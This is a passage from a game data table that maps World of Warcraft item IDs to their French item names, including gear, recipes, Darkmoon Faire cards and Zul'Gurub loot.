Chanteguerres",[19062]="Rations de campagne du goulet des Chanteguerres",[19064]="Clé de chaîne",[19066]="Bandage en étoffe runique du goulet des Chanteguerres",[19067]="Bandage en tisse-mage du goulet des Chanteguerres",[19068]="Bandage en soie du goulet des Chanteguerres",[19069]="Crâne du veneur Malkhor",[19070]="Os du veneur Malkhor",[19071]="Calice de sang corrompu",[19083]="Cape de légionnaire loup-de-givre",[19084]="Cape de soldat foudrepique",[19085]="Cape de conseiller loup-de-givre",[19086]="Cape de sage foudrepique",[19087]="Ceinture loup-de-givre en plaques",[19088]="Ceinture de mailles loup-de-givre",[19089]="Ceinture de cuir Loup-de-givre",[19090]="Ceinture de tissu loup-de-givre",[19091]="Ceinturon foudrepique en plaques",[19092]="Ceinturon foudrepique en mailles",[19093]="Ceinturon foudrepique en cuir",[19094]="Ceinturon foudrepique en tissu",[19095]="Pendentif de légionnaire loup-de-givre",[19096]="Pendentif de conseiller loup-de-givre",[19097]="Pendentif de soldat foudrepique",[19098]="Pendentif de sage foudrepique",[19099]="Lame glaciaire",[19100]="Dague électrifiée",[19101]="Bâton blanchi",[19102]="Bâton crépitant",[19103]="Morsure de givre",[19104]="Marteau frappe-tempête",[19105]="Turban de runes de givre",[19106]="Lance de glace barbelée",[19107]="Cherche-sang",[19108]="Baguette du froid mordant",[19109]="Anneau des racines profondes",[19110]="Lame forgée à froid",[19111]="Epaulettes haches-d\'hiver",[19112]="Protège-bras d\'acier glacé",[19113]="Brassards en cuir de yéti",[19114]="Arc des Hautes-terres",[19115]="Flacon de mojo sylvestre",[19116]="Protège-mains vertefeuille",[19117]="Garde-jambes en plaques de bois laquées",[19118]="Souffle de la Nature",[19119]="Gants en cuir de chouettard",[19120]="Rune de capitaine de la garde",[19121]="Cape des bois profonds",[19123]="Protège-mains calorifères",[19124]="Jambières de plaques mâchefer",[19125]="Ceinturon calciné en mailles",[19126]="Gantelets de plaques mâchefer",[19127]="Tunique carbonisée en cuir",[19128]="Haubergeon calciné",[19130]="Frimaire",[19131]="Chaussures brûleglace",[19132]="Couronne ornée d\'un cristal",[19133]="Jambières gangrenées imprégnées",[19134]="Ceinture de garde funeste écorché",[19135]="Brassards de lumière noire",[19136]="Corde de mana enflammé",[19137]="Ceinturon d\'assaut",[19138]="Bague de Sulfuras",[19139]="Epaulières de garde du feu",[19140]="Bague de cautérisation",[19141]="Chiffon",[19142]="Grimoire de runes de feu",[19143]="Gantelets de garde des flammes",[19144]="Solerets du Marcheflammes",[19145]="Robe du pouvoir volatil",[19146]="Garde-poignets de stabilité",[19147]="Anneau de puissance des sorts",[19148]="Heaume en sombrefer",[19149]="Ceinture de lave",[19150]="Paquetage de base de sentinelle",[19151]="Paquetage ordinaire de sentinelle",[19152]="Paquetage amélioré de sentinelle",[19153]="Paquetage amélioré de voltigeur",[19154]="Paquetage de base de voltigeur",[19155]="Paquetage ordinaire de voltigeur",[19156]="Robe Cœur-de-braise",[19157]="Gantelets chromatiques",[19159]="Collier de lierre tressé",[19160]="Tabard du vainqueur de l\'affrontement",[19162]="Ceinture du Magma",[19163]="Ceinture de la fournaise",[19164]="Gantelets en sombrefer",[19165]="Jambières Cœur-de-braise",[19166]="Amnistie noire",[19167]="Fureur noire",[19168]="Garde noire",[19169]="Tombe-nuit",[19170]="Main d\'ébène",[19182]="Bon de la foire de Sombrelune déchiré",[19183]="Sable de sablier",[19202]="Plans : Ceinture épaisse grumegueule",[19203]="Plans : Ceinturon de l\'Aube",[19204]="Plans : Bottes lourdes grumegueules",[19205]="Plans : Gants de l\'Aube",[19206]="Plans : Heaume en sombrefer",[19207]="Plans : Gantelets en sombrefer",[19208]="Plans : Amnistie noire",[19209]="Plans : Fureur noire",[19210]="Plans : Main d\'ébène",[19211]="Plans : Garde noire",[19212]="Plans : Tombe-nuit",[19213]="Talisman de vaillance d\'Aile-argent",[19214]="Monster - Staff, Wooden Handle Spiral Head Dark",[19215]="Patron : Sagesse des Grumegueules",[19216]="Patron : Bottes de l\'Aube d\'argent",[19217]="Patron : Epaulières de l\'Aube d\'argent",[19218]="Patron : Mantelet des Grumegueules",[19219]="Patron : Robe Cœur-de-braise",[19220]="Patron : Jambières Cœur-de-braise",[19221]="Réserve spéciale de Sombrelune",[19222]="Bière bon marché",[19223]="Casse-croûte de Sombrelune",[19224]="Ailes de poulet pimentées",[19225]="Confiserie grillée",[19227]="As de Fauves",[19228]="Suite de Fauves",[19229]="Prédiction de Sayge n°1",[19230]="Deux de Fauves",[19231]="Trois de Fauves",[19232]="Quatre de Fauves",[19233]="Cinq de Fauves",[19234]="Six de Fauves",[19235]="Sept de Fauves",[19236]="Huit de Fauves",[19237]="Prédiction de Sayge n°19",[19238]="Prédiction de Sayge n°3",[19239]="Prédiction de Sayge n°4",[19240]="Prédiction de Sayge n°5",[19241]="Prédiction de Sayge n°6",[19242]="Prédiction de Sayge n°7",[19243]="Prédiction de Sayge n°8",[19244]="Prédiction de Sayge n°9",[19245]="Prédiction de Sayge n°10",[19246]="Prédiction de Sayge n°11",[19247]="Prédiction de Sayge n°12",[19248]="Prédiction de Sayge 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Portails",[19278]="Deux de Portails",[19279]="Trois de Portails",[19280]="Quatre de Portails",[19281]="Cinq de Portails",[19282]="Six de Portails",[19283]="Sept de Portails",[19284]="Huit de Portails",[19287]="Carte de Sombrelune : Héroïsme",[19288]="Carte de Sombrelune : Dragon bleu",[19289]="Carte de Sombrelune : Maelström",[19290]="Carte de Sombrelune : Néant distordu",[19291]="Boîte de rangement de Sombrelune",[19292]="Mouton du mois dernier",[19293]="Mouton de l\'an dernier",[19295]="Fleur de Sombrelune",[19296]="Lot de Sombrelune (supérieur)",[19297]="Lot de Sombrelune (inférieur)",[19298]="Lot de Sombrelune (mineur)",[19299]="Boisson gazeuse de la foire",[19300]="Bouteille d\'eau de Berceau-de-l\'Hiver",[19301]="Biscuit de manne d\'Alterac",[19302]="Anneau de Sombrelune",[19303]="Collier de Sombrelune",[19304]="Bœuf séché épicé",[19305]="Pied de kodo mariné",[19306]="Grenouille croustillante",[19307]="Bandage épais en étoffe runique d\'Alterac",[19308]="Tome de domination des Arcanes",[19309]="Tome de force d\'ombre",[19310]="Tome du Seigneur de glace",[19311]="Tome de l\'arcane ardente",[19312]="Lei du Donneur de vie",[19315]="Toucher de Therazane",[19316]="Flèche de glace",[19317]="Balle de glace",[19318]="Bouteille d\'eau de source d\'Alterac",[19319]="Carquois en cuir de harpie",[19320]="Cartouchière en peau de gnoll",[19321]="L\'Objet inébranlable",[19322]="Marque d\'honneur Chanteguerre",[19323]="La Force irrésistible",[19324]="Le Lobotomiseur",[19325]="Bague de don Julio",[19326]="Patron : Pouvoir des Grumegueules",[19327]="Patron : Batailleurs grumegueules",[19328]="Patron : Bottines de l\'aube",[19329]="Patron : Mantelet doré de l\'Aube",[19330]="Patron : Ceinture de lave",[19331]="Patron : Gantelets chromatiques",[19332]="Patron : Ceinture du Magma",[19333]="Patron : Ceinture de la fournaise",[19334]="La Lame indomptée",[19335]="Fracasse-échine",[19336]="Gemme imprégnée d\'Arcanes",[19337]="Le Livre noir",[19338]="Coupon pour des bons gratuits",[19339]="Gemme de vivacité d\'esprit",[19340]="Rune de transformation",[19341]="Gemme donneuse de vie",[19342]="Totem venimeux",[19343]="Parchemin de lumière aveuglante",[19344]="Cristal d\'alignement sur la nature",[19345]="Egide de préservation",[19346]="Lame croc-de-dragon",[19347]="Griffe de Chromaggus",[19348]="Protecteur en écailles de dragon rouge",[19349]="Rempart en élémentium renforcé",[19350]="Frappe-cœur",[19351]="Maladath, lame runique du Vol noir",[19352]="Epée trempée chromatiquement",[19353]="Fendoir griffe-de-drake",[19354]="Vengeresse draconique",[19355]="Bâton focalisateur de l\'Aile de l\'ombre",[19356]="Bâton de la flamme d\'ombre",[19357]="Prophète de malheur",[19358]="Maillet draconique",[19360]="Lok\'amir il Romathis",[19361]="Ashjre\'thul, l\'Arbalète de châtiment",[19362]="Tranchant du destin",[19363]="Crul\'shorukh, le tranchant du chaos",[19364]="Ashkandi, estramaçon de la Confrérie",[19365]="Griffe du drake noir",[19366]="Orbe du Maître-tueur de dragon",[19367]="Toucher du dragon",[19368]="Canon à main Souffle-de-dragon",[19369]="Gants de l\'évolution rapide",[19370]="Mantelet de la cabale de l\'Aile noire",[19371]="Pendentif du dragon déchu",[19372]="Heaume de la rage infinie",[19373]="Espauliers de rejeton noir",[19374]="Brassards de précision des Arcanes",[19375]="Mish\'undare, coiffure du flagelleur mental",[19376]="Bague de rétorsion d\'Archimtiros",[19377]="Talisman de perfidie de Prestor",[19378]="Cape du seigneur des couvées",[19379]="Larme de Neltharion",[19380]="Chaîne de Therazane",[19381]="Bottes de la flamme d\'ombre",[19382]="Bague d\'élémentium pur",[19383]="Médaillon du Maître-tueur de dragon",[19384]="Bague du Maître-tueur de dragon",[19385]="Jambières investies",[19386]="Cape brochée d\'élémentium",[19387]="Bottes chromatiques",[19388]="Torsade d\'Angelista",[19389]="Protège-épaules en cuir de dragon tendu",[19390]="Gants en cuir de dragon tendu",[19391]="Geta chatoyantes",[19392]="Ceinturon du croisé déchu",[19393]="Sangle rivetée de Primaliste",[19394]="Espauliers griffe-de-drake",[19395]="Gemme de récupération",[19396]="Ceinture en cuir de dragon tendu",[19397]="Anneau de Rochenoire",[19398]="Cape de Gueule-de-feu",[19399]="Robe de cendre noire",[19400]="Etreinte de Gueule-de-feu",[19401]="Garde-jambes rivetés de primaliste",[19402]="Garde-jambes du croisé déchu",[19403]="Bague de concentration forcée",[19404]="Monster - Mace, The Hand of Nefarius",[19405]="Rempart béni de Malfurion",[19406]="Talisman croc-de-drake",[19407]="Gants de la flamme d\'ébène",[19422]="Prédiction de la foire de Sombrelune",[19423]="Prédiction de Sayge n°23",[19424]="Prédiction de Sayge n°24",[19425]="Coffre mystérieux",[19426]="Orbe de Sombrelune",[19430]="Voile de la pensée pure",[19431]="Scarabée d\'obstruction de Styleen",[19432]="Cercle de la force appliquée",[19433]="Jambières en tisse-braise",[19434]="Bague de sombre domination",[19435]="Récolteur d\'essence",[19436]="Cape de puissance draconique",[19437]="Bottes de la pensée pure",[19438]="Bottes de blizzard de Ringo",[19439]="Pourpoint d\'ombre entrelacé",[19440]="Anti-venin puissant",[19441]="Enorme glande à venin",[19442]="Formule : Anti-venin puissant",[19443]="Prédiction de Sayge n°25",[19444]="Formule : Enchantement d\'arme (Force)",[19445]="Formule : Enchantement d\'arme (Agilité)",[19446]="Formule : Enchantement de brassards (Régénération de mana)",[19447]="Formule : Enchantement de brassards (Pouvoir de guérison)",[19448]="Formule : Enchantement d\'arme (Esprit renforcé)",[19449]="Formule : Enchantement d\'arme (Intelligence renforcée)",[19450]="Mini-maison de jubelin",[19451]="Prédiction de Sayge n°26",[19452]="Prédiction de Sayge n°27",[19453]="Prédiction de Sayge n°28",[19454]="Prédiction de Sayge n°29",[19462]="Oeuf de jubelin",[19483]="Peler l\'oignon",[19484]="L\'artichaut Loup-de-givre",[19485]="Monster - Item, Fish - Blue Offhand",[19491]="Amulette de la Sombrelune",[19505]="Tabard de bataille chanteguerre",[19506]="Tabard de bataille aile-argent",[19507]="Châle d\'inquisiteur",[19508]="Brassards en cuir marqué",[19509]="Bottes poussiéreuses en mailles",[19510]="Bague de légionnaire",[19511]="Bague de légionnaire",[19512]="Bague de légionnaire",[19513]="Bague de légionnaire",[19514]="Bague de protecteur",[19515]="Bague de protecteur",[19516]="Bague de protecteur",[19517]="Bague de protecteur",[19518]="Bague de conseiller",[19519]="Bague de conseiller",[19520]="Bague de conseiller",[19521]="Bague de conseiller",[19522]="Bague de gardien du savoir",[19523]="Bague de gardien du savoir",[19524]="Bague de gardien du savoir",[19525]="Bague de gardien du savoir",[19526]="Cape de soigneur de bataille",[19527]="Cape de soigneur de bataille",[19528]="Cape de soigneur de bataille",[19529]="Cape de soigneur de bataille",[19530]="Cape de conservateur",[19531]="Cape de conservateur",[19532]="Cape de conservateur",[19533]="Cape de conservateur",[19534]="Médaillon d\'éclaireur",[19535]="Médaillon d\'éclaireur",[19536]="Médaillon d\'éclaireur",[19537]="Médaillon d\'éclaireur",[19538]="Médaillon de sentinelle",[19539]="Médaillon de sentinelle",[19540]="Médaillon de sentinelle",[19541]="Médaillon de sentinelle",[19542]="Lame d\'éclaireur",[19543]="Lame d\'éclaireur",[19544]="Lame d\'éclaireur",[19545]="Lame d\'éclaireur",[19546]="Lame de sentinelle",[19547]="Lame de sentinelle",[19548]="Lame de sentinelle",[19549]="Lame de sentinelle",[19550]="Epée de légionnaire",[19551]="Epée de légionnaire",[19552]="Epée de légionnaire",[19553]="Epée de légionnaire",[19554]="Epée de protecteur",[19555]="Epée de protecteur",[19556]="Epée de protecteur",[19557]="Epée de protecteur",[19558]="Arc de voltigeur",[19559]="Arc de voltigeur",[19560]="Arc de voltigeur",[19561]="Arc de voltigeur",[19562]="Arc d\'estafette",[19563]="Arc d\'estafette",[19564]="Arc d\'estafette",[19565]="Arc d\'estafette",[19566]="Bâton noueux de conseiller",[19567]="Bâton noueux de conseiller",[19568]="Bâton noueux de conseiller",[19569]="Bâton noueux de conseiller",[19570]="Bâton de gardien du savoir",[19571]="Bâton de gardien du savoir",[19572]="Bâton de gardien du savoir",[19573]="Bâton de gardien du savoir",[19574]="Force de Mugamba",[19575]="Force de Mugamba",[19576]="Force de Mugamba",[19577]="Rage de Mugamba",[19578]="Brassards de berserker",[19579]="Marque du païen",[19580]="Brassards de berserker",[19581]="Brassards de berserker",[19582]="Garde-poignets de messager du vent",[19583]="Garde-poignets de messager du vent",[19584]="Garde-poignets de messager du vent",[19585]="Marque du païen",[19586]="Marque du païen",[19587]="Brassards de traqueuse sylvestre",[19588]="Marque de héros",[19589]="Brassards de traqueuse sylvestre",[19590]="Brassards de traqueuse sylvestre",[19591]="L\'Oeil de Zuldazar",[19592]="L\'Oeil de Zuldazar",[19593]="L\'Oeil de Zuldazar",[19594]="L\'Oeil omnivoyant de Zuldazar",[19595]="Manchettes de dryade",[19596]="Manchettes de dryade",[19597]="Manchettes de dryade",[19598]="Caillou du Kajaro",[19599]="Caillou du Kajaro",[19600]="Caillou du Kajaro",[19601]="Joyau du Kajaro",[19602]="Souillure de Kezan",[19603]="Souillure de Kezan",[19604]="Souillure de Kezan",[19605]="Souillure irrésistible de Kezan",[19606]="Vision de Voodress",[19607]="Vision de Voodress",[19608]="Vision de Voodress",[19609]="Vision limpide de Voodress",[19610]="Varech enchanté des mers du Sud",[19611]="Varech enchanté des mers du Sud",[19612]="Varech enchanté des mers du Sud",[19613]="Varech enchanté des mers du Sud en parfait état",[19614]="Talisman de l\'ombre zandalarien",[19615]="Talisman de l\'ombre zandalarien",[19616]="Talisman de l\'ombre zandalarien",[19617]="Talisman de maîtrise de l\'ombre zandalarien",[19618]="Vrille du maelström",[19619]="Vrille du maelström",[19620]="Vrille du maelström",[19621]="Courroux du maelström",[19623]="Monster - Mace2H, Horde B01/B01 Orange",[19682]="Gilet en vignesang",[19683]="Jambières en vignesang",[19684]="Bottes en vignesang",[19685]="Pourpoint en peau de chauve-souris primordiale",[19686]="Gants en peau de chauve-souris primordiale",[19687]="Brassards en peau de chauve-souris primordiale",[19688]="Cuirasse du tigre-sang",[19689]="Epaulières du tigre-sang",[19690]="Cuirasse d\'âmesang",[19691]="Epaulières d\'âmesang",[19692]="Gantelets d\'âmesang",[19693]="Cuirasse de ténébrâme",[19694]="Jambières de ténébrâme",[19695]="Epaulières de ténébrâme",[19696]="Pain de la moisson",[19697]="Don de la moisson",[19698]="Pièce zulienne",[19699]="Pièce Razzashi",[19700]="Pièce hakkari",[19701]="Pièce Gurubashi",[19702]="Pièce vilebranche",[19703]="Pièce fanécorce",[19704]="Pièce furie-des-sables",[19705]="Pièce casse-crâne",[19706]="Pièce scalp-rouge",[19707]="Bijou hakkari rouge",[19708]="Bijou hakkari bleu",[19709]="Bijou hakkari jaune",[19710]="Bijou hakkari orange",[19711]="Bijou hakkari vert",[19712]="Bijou hakkari violet",[19713]="Bijou hakkari bronze",[19714]="Bijou hakkari argenté",[19715]="Bijou hakkari doré",[19716]="Manchettes primordiales hakkari",[19717]="Brachiales primordiales hakkari",[19718]="Etançon primordial hakkari",[19719]="Ceinturon primordial hakkari",[19720]="Echarpe primordiale hakkari",[19721]="Châle primordial hakkari",[19722]="Tabard primordial hakkari",[19723]="Casaque primordiale hakkari",[19724]="Egide primordiale hakkari",[19725]="Caisse de ressources arathies",[19726]="Vignesang",[19727]="Faucille de sang",[19760]="Etreinte de suzerain",[19762]="Monster - Axe, Horde C04 Purple",[19763]="Monster - Shield, Round A01/Buckler Damaged A02Black",[19764]="Patron : Gilet en vignesang",[19765]="Patron : Jambières en vignesang",[19766]="Patron : Bottes en vignesang",[19767]="Cuir de chauve-souris primordiale",[19768]="Cuir de tigre primordial",[19769]="Patron : Pourpoint en peau de chauve-souris primordiale",[19770]="Patron : Gants en peau de chauve-souris primordiale",[19771]="Patron : Brassards en peau de chauve-souris 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vaudou percée",[19818]="Poupée vaudou percée",[19819]="Poupée vaudou percée",[19820]="Poupée vaudou percée",[19821]="Poupée vaudou percée",[19822]="Cuirasse de redresseur de torts zandalar",[19823]="Ceinture de redresseur de torts zandalar",[19824]="Garde-bras de redresseur de torts zandalar",[19825]="Cuirasse de libre-penseur zandalar",[19826]="Ceinture de libre-penseur zandalar",[19827]="Garde-bras de libre-penseur zandalar",[19828]="Haubert d\'augure zandalar",[19829]="Ceinture d\'augure zandalar",[19830]="Brassards d\'augure zandalar",[19831]="Mantelet de prédateur zandalar",[19832]="Ceinture de prédateur zandalar",[19833]="Brassards de prédateur zandalar",[19834]="Tunique d\'insensé zandalar",[19835]="Mantelet d\'insensé zandalar",[19836]="Brassards d\'insensé zandalar",[19838]="Tunique d\'haruspice zandalar",[19839]="Ceinture d\'haruspice zandalar",[19840]="Brassards d\'haruspice zandalar",[19841]="Mantelet de confesseur zandalar",[19842]="Lien de confesseur zandalar",[19843]="Couvre-bras de confesseur zandalar",[19845]="Mantelet d\'illusionniste zandalar",[19846]="Couvre-bras d\'illusionniste zandalar",[19848]="Couvre-bras de démoniaque zandalar",[19849]="Mantelet de démoniaque zandalar",[19850]="Offrande à Uther",[19851]="Offrande à Grom",[19852]="Ancienne tueuse-d\'homme hakkari",[19853]="Destructeur de nains gurubashi",[19854]="Zin\'rokh, le Destructeur de mondes",[19855]="Cuissards imprégnés de sang",[19856]="L\'Oeil d\'Hakkar",[19857]="Cape de consomption",[19858]="Marque d\'honneur zandalar",[19859]="Croc du sans-visage",[19861]="Larme de Chaos",[19862]="Egide du Dieu sanglant",[19863]="Sceau de primaliste",[19864]="Mande-sang",[19865]="Lame de guerre des Hakkari",[19866]="Lame de guerre des Hakkari",[19867]="Défenseur du seigneur sanglant",[19869]="Poignes inondées de sang",[19870]="Cape de loa hakkari",[19871]="Talisman de protection",[19872]="Raptor razzashi rapide",[19873]="Bague de suzerain cramoisie",[19874]="Hallebarde de châtiment",[19875]="Coiffe tachée de sang",[19876]="Collier du Corrupteur d\'âmes",[19877]="Jambières d\'animiste",[19878]="Espauliers imprégnés de sang",[19879]="Alex\'s test Bâton découragé",[19880]="Collection de têtes gurubashi",[19881]="Tête de canaliste",[19882]="Tête du maléficieur",[19883]="Corde sacrée",[19884]="Jugement de Jin\'do",[19885]="Mauvais œil de Jin\'do",[19886]="Couvre-chef du maléficieur",[19887]="Cuissards tachés de sang",[19888]="Etreinte de suzerain",[19889]="Jambières inondées de sang",[19890]="Maléficieur de Jin\'do",[19891]="Sac de sales tours de Jin\'do",[19892]="Bottes d\'animiste",[19893]="Sceau de Zanzil",[19894]="Gantelets imprégnés de sang",[19895]="Kilt teinté de sang",[19896]="Emprise de Thekal",[19897]="Bottes de traître",[19898]="Sceau de Jin",[19899]="Garde-jambes ritualistes",[19900]="Hache zulienne en pierre",[19901]="Tranchoir zulien",[19902]="Tigre zulien rapide",[19903]="Croc de Venoxis",[19904]="Haubert runique taché de sang",[19905]="Bague de Zanzil",[19906]="Souliers inondés de sang",[19907]="Cape zulienne en peau de tigre",[19908]="Sceptre de châtiment",[19909]="Volonté d\'Arlokk",[19910]="Emprise d\'Arlokk",[19911]="Cœur d\'herbe-fouet",[19912]="Bague d\'onyx de suzerain",[19913]="Grèves imprégnées de sang",[19914]="Sac en peau de panthère",[19915]="Défenseur zulien",[19916]="Monster - Mace, Standard Serpent Green",[19917]="Monster - Wand, Horde A01 Green",[19918]="Ecraseur de Jeklik",[19919]="Grèves tachées de sang",[19920]="Bague de primaliste",[19921]="Trancheuse zulienne",[19922]="Bâton porte-guigne d\'Arlokk",[19923]="Talisman d\'opaline de Jeklik",[19924]="Monster - Dagger, Fang Hook Curve Dark",[19925]="Bague de Jin",[19927]="Toucher de Mar\'li",[19928]="Spallières d\'animiste",[19929]="Gants teintés de sang",[19930]="Oeil de Mar\'li",[19931]="Folie mojo des Gurubashi",[19933]="Sang de scorpide luminescent",[19934]="Grande griffe de scorpide",[19935]="Glande à venin vide",[19936]="Carapace de scorpide desséchée",[19937]="Petite griffe de scorpide",[19938]="Patte de scorpide épaisse",[19939]="Sang de Gri\'lek",[19940]="Dent de Renataki",[19941]="Crinière de Wushoolay",[19942]="Fragment de rêve d\'Hazza\'rah",[19943]="Mojo écrasant",[19944]="Exterminateur de poisson de Nat Pagle",[19945]="Couvre-œil de Dagharn",[19946]="Harpon d\'Aguilor",[19947]="Moulinet cassé de Nat Pagle",[19948]="Ecusson de héros zandalarien",[19949]="Médaillon de héros zandalarien",[19950]="Charme de héros zandalarien",[19951]="Charme de puissance de Gri\'lek",[19952]="Charme de courage de Gri\'lek",[19953]="Charme des bêtes de Renataki",[19954]="Charme de supercherie de Renataki",[19955]="Charme de nature de Wushoolay",[19956]="Charme-esprits de Wushoolay",[19957]="Charme de destruction d\'Hazza\'rah",[19958]="Charme de soin d\'Hazza\'rah",[19959]="Charme de magie d\'Hazza\'rah",[19960]="Miel cristallisé",[19961]="Broyeur de Gri\'lek",[19962]="Découpeur de Gri\'lek",[19963]="Fourche de la folie",[19964]="Conducteur d\'âme de Renataki",[19965]="Tisonnier de Wushoolay",[19967]="Flétrisseur de pensée",[19968]="Expiatrice embrasée",[19969]="Bottes de pêche extrême de Nat Pagle",[19970]="Canne à pêche en arcanite",[19971]="Ligne de pêche à toute épreuve en éternium",[19972]="Chapeau de pêcheur usé",[19973]="Mètre ruban de Nat",[19974]="Appât au Puant de vase",[19975]="Puant de vase zulien",[19978]="Concours de pêche !",[19979]="Hameçon du maître pêcheur",[19980]="Monster - Dagger, Ornate Spikey Base Red",[19981]="Monster - Sword2H, Claymore B01/Broadsword A03 Black Sharpened",[19982]="Drapé de chauve-souris de la pénombre",[19984]="Masque d\'ébène",[19988]="Monster - Mace2H, Horde C01 Steel (Green)",[19990]="Chapelet béni",[19991]="Oeil de diablosaure",[19992]="Dent de diablosaure",[19993]="Arc de chasse porte-guigne",[19994]="Fruit de la moisson",[19995]="Sanglier de la moisson",[19996]="Poisson de la moisson",[19997]="Nectar de la moisson",[19998]="Lentille en vignesang",[19999]="Lunettes en vignesang",[20000]="Schéma : Lunettes en vignesang",[20001]="Schéma : Lentille en vignesang",[20002]="Potion de sommeil sans rêve supérieure",[20004]="Elixir de sang de troll puissant",[20006]="Cercle d\'Espoir",[20007]="Elixir magesang",[20008]="Potion de vive action",[20009]="Pour la Lumière !",[20010]="Le Cri de la Horde",[20011]="Recette : Elixir magesang",[20012]="Recette : Potion de sommeil sans rêve supérieure",[20013]="Recette : Potion de vive action",[20014]="Recette : Elixir de sang de troll puissant",[20015]="Plumes d\'ancien raptor",[20016]="Crâne trophée de raptor",[20017]="Ramure de coursier parfaite",[20018]="Peau de grizzly de la griffe colérique",[20019]="Dent de Morphaz",[20021]="Boucle d\'oreille de pirate en or",[20022]="Clé azur",[20023]="Fragment codé",[20025]="Sang de Morphaz",[20027]="Glande de coursier en bonne santé",[20028]="Poussière lumineuse",[20029]="Corail enchanté",[20030]="Familier rocher",[20031]="Mangue d\'essence",[20032]="Robe rituelle flottante",[20033]="Robe de démoniaque zandalar",[20034]="Robe d\'illusionniste zandalar",[20035]="Pointe glaciaire",[20036]="Rubis de feu",[20037]="Pendentif de cristal arcanique",[20038]="Dard de Mandokir",[20039]="Bottes en sombrefer",[20040]="Plans : Bottes en sombrefer",[20041]="Ceinturon des Hautes-terres en plaques",[20042]="Ceinturon des Hautes-terres lamellaire",[20043]="Ceinturon des Hautes-terres en anneaux",[20044]="Ceinturon des Hautes-terres en mailles",[20045]="Ceinturon des Hautes-terres en cuir",[20046]="Ceinturon des Hautes-terres en cuir de lézard",[20047]="Ceinturon des Hautes-terres en tissu",[20048]="Grèves des Hautes-terres en plaques",[20049]="Grèves des Hautes-terres lamellaires",[20050]="Grèves des Hautes-terres en anneaux",[20051]="Grèves des Hautes-terres en mailles",[20052]="Bottes des Hautes-terres en cuir",[20053]="Bottes des Hautes-terres en cuir de lézard",[20054]="Bottes des Hautes-terres en tissu",[20055]="Espauliers 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de Zanza",[20080]="Brillance de Zanza",[20081]="Rapidité de Zanza",[20082]="Bâton de malheur",[20083]="Epieu de chasse",[20085]="Fragment d\'Arcanes",[20086]="Couteau de lancer en brune-acier brisé",[20087]="Ecailles de vandale des flots",[20088]="Ceinturon des Hautes-terres en anneaux",[20089]="Ceinturon des Hautes-terres en anneaux",[20090]="Ceinturon des Hautes-terres en anneaux",[20091]="Grèves des Hautes-terres en anneaux",[20092]="Grèves des Hautes-terres en anneaux",[20093]="Grèves des Hautes-terres en anneaux",[20094]="Bottes des Hautes-terres en tissu",[20095]="Bottes des Hautes-terres en tissu",[20096]="Bottes des Hautes-terres en tissu",[20097]="Ceinturon des Hautes-terres en tissu",[20098]="Ceinturon des Hautes-terres en tissu",[20099]="Ceinturon des Hautes-terres en tissu",[20100]="Bottes des Hautes-terres en cuir de lézard",[20101]="Bottes des Hautes-terres en cuir de lézard",[20102]="Bottes des Hautes-terres en cuir de lézard",[20103]="Ceinturon des Hautes-terres en cuir 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diamant",[20131]="Tabard de bataille des Profanateurs",[20132]="Tabard de bataille d\'Arathor",[20134]="Casque fureur-du-ciel",[20150]="Ceinturon de Profanateur en anneaux",[20151]="Ceinturon de Profanateur en anneaux",[20152]="Ceinturon de Profanateur en anneaux",[20153]="Ceinturon de Profanateur en anneaux",[20154]="Grèves de Profanateur en anneaux",[20155]="Grèves de Profanateur en anneaux",[20156]="Grèves de Profanateur en anneaux",[20157]="Grèves de Profanateur en anneaux",[20158]="Espauliers de Profanateur en anneaux",[20159]="Bottes de Profanateur en tissu",[20160]="Bottes de Profanateur en tissu",[20161]="Bottes de Profanateur en tissu",[20162]="Bottes de Profanateur en tissu",[20163]="Ceinturon de Profanateur en tissu",[20164]="Ceinturon de Profanateur en tissu",[20165]="Ceinturon de Profanateur en tissu",[20166]="Ceinturon de Profanateur en tissu",[20167]="Bottes de Profanateur en cuir de lézard",[20168]="Bottes de Profanateur en cuir de lézard",[20169]="Bottes de Profanateur en cuir de lézard",[20170]="Bottes de Profanateur en cuir de lézard",[20171]="Ceinturon de Profanateur en cuir de lézard",[20172]="Ceinturon de Profanateur en cuir de lézard",[20173]="Ceinturon de Profanateur en cuir de lézard",[20174]="Ceinturon de Profanateur en cuir de lézard",[20175]="Epaulières de Profanateur en cuir de lézard",[20176]="Epaulettes de Profanateur",[20177]="Ceinturon lamellaire de Profanateur",[20181]="Grèves de Profanateur lamellaires",[20184]="Spallière de Profanateur lamellaire",[20186]="Bottes de Profanateur en cuir",[20187]="Bottes de Profanateur en cuir",[20188]="Bottes de Profanateur en cuir",[20189]="Bottes de Profanateur en cuir",[20190]="Ceinturon de Profanateur en cuir",[20191]="Ceinturon de Profanateur en cuir",[20192]="Ceinturon de Profanateur en cuir",[20193]="Ceinturon de Profanateur en cuir",[20194]="Epaulières de Profanateur en cuir",[20195]="Ceinturon de Profanateur en mailles",[20196]="Ceinturon de Profanateur en mailles",[20197]="Ceinturon de Profanateur en mailles",[20198]="Ceinturon de Profanateur en mailles",[20199]="Grèves de Profanateur en mailles",[20200]="Grèves de Profanateur en mailles",[20201]="Grèves de Profanateur en mailles",[20202]="Grèves de Profanateur en mailles",[20203]="Espauliers de Profanateur en mailles",[20204]="Ceinturon de Profanateur en plaques",[20205]="Ceinturon de Profanateur en plaques",[20206]="Ceinturon de Profanateur en plaques",[20207]="Ceinturon de Profanateur en plaques",[20208]="Grèves de Profanateur en plaques",[20209]="Grèves de Profanateur en plaques",[20210]="Grèves de Profanateur en plaques",[20211]="Grèves de Profanateur en plaques",[20212]="Spallières de Profanateur en plaques",[20213]="Ceinture de têtes réduites",[20214]="Croc de l\'esprit",[20215]="Ceinture de têtes réduites",[20216]="Ceinture de têtes préservées",[20217]="Ceinture de têtes minuscules",[20218]="Cape hakkari décolorée",[20219]="Cape hakkari rapiécée",[20220]="Bâton d\'écorcefer",[20222]="Rations enrichies de Profanateur",[20223]="Rations de campagne de Profanateur",[20224]="Rations de fer de Profanateur",[20225]="Rations enrichies des Hautes-terres",[20226]="Rations de campagne des Hautes-terres",[20227]="Rations de fer des Hautes-terres",[20228]="Paquetage amélioré de Profanateur",[20229]="Paquetage de base de Profanateur",[20230]="Paquetage ordinaire de Profanateur",[20231]="Paquetage amélioré d\'Arathor",[20232]="Bandage en tisse-mage de Profanateur",[20233]="Paquetage de base d\'Arathor",[20234]="Bandage en étoffe runique de Profanateur",[20235]="Bandage en soie de Profanateur",[20236]="Paquetage ordinaire d\'Arathor",[20237]="Bandage en tisse-mage des Hautes-terres",[20243]="Bandage en étoffe runique des Hautes-terres",[20244]="Bandage en soie des Hautes-terres",[20253]="Patron : Harnais de l\'ours de guerre",[20254]="Patron : 